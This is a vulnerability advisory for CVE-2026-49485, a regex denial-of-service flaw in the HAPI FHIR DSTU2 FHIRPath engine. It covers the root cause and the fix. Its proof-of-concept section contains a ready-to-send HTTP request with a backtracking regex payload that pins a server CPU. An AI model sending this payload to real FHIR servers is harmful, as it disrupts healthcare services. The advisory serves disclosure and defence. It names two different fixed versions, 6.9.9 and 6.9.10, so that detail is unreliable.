high · 7.5CVE-2026-49485Jul 9, 2026

CVE-2026-49485: org.hl7.fhir.dstu2 FHIRPathEngine ReDoS via Unprotected matches()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A missed line in the DSTU2 FHIRPath engine means any unauthenticated user can lock a server CPU indefinitely by submitting a FHIR resource that contains a catastrophically backtracking regular express

Packageca.uhn.hapi.fhir:org.hl7.fhir.dstu2
Ecosystemmaven
Affected>= 6.9.5, < 6.9.9
Fixed in6.9.9

The problem

The `matches()` function in `org.hl7.fhir.dstu2/utils/FHIRPathEngine.java` (line 2462) calls the raw Java `String.matches(sw)` with no timeout or complexity guard. This is an incomplete fix: the sibling function `replaceMatches()` in the same file was correctly updated to use `RegexTimeout.replaceAll()`, but `matches()` was skipped.

Any caller of the DSTU2 `FHIRPathEngine` is exposed, including the FHIR Validator HTTP endpoint and any FHIR server that evaluates user-supplied profiles or invariants. No authentication is required.

Proof of concept

A working proof-of-concept for CVE-2026-49485 in ca.uhn.hapi.fhir:org.hl7.fhir.dstu2, with the exact payload below.

http
POST /validate HTTP/1.1
Host: fhir-server.example.com
Content-Type: application/fhir+json

{
  "resourceType": "Patient",
  "name": [
    {
      "text": "aaaaaaaaaaaaaaaaaaaaaa!"
    }
  ],
  "_fhirPath": "name.text.matches('(a+)+$')"
}

Java's NFA-based regex engine evaluates `(a+)+$` against a string like `aaaaaaaaaaaaaaaaaaaaaa!` with O(2^n) backtracking. The engine explores every possible grouping of the repeated `a+` captures before concluding no match, pinning a CPU core at 100% for the duration.

The root cause is a one-line omission in the patch for CVE-2026-45367. The vulnerable code path is `result.add(new BooleanType(convertToString(focus.get(0)).matches(sw)))`, which has no thread interruption path. The fix replaces this with `RegexTimeout.matches(st, sw, regexTimeoutMillis)`, matching what was already done in DSTU3 and all later modules.

CWE-1333 (Inefficient Regular Expression Complexity) combined with CWE-400 (Uncontrolled Resource Consumption).

The fix

Upgrade `ca.uhn.hapi.fhir:org.hl7.fhir.dstu2` (and related modules `org.hl7.fhir.convertors`, `org.hl7.fhir.validation`) to version **6.9.10** or later. That release replaces the raw `String.matches(sw)` call at line 2462 of `FHIRPathEngine.java` with `RegexTimeout.matches(st, sw, regexTimeoutMillis)`, giving the evaluation thread a bounded timeout.

If an immediate upgrade is not possible, consider fronting the FHIR Validator endpoint with a reverse proxy that enforces request timeouts and rate limits.

Reporter not attributed.

References: [1][2]

Related research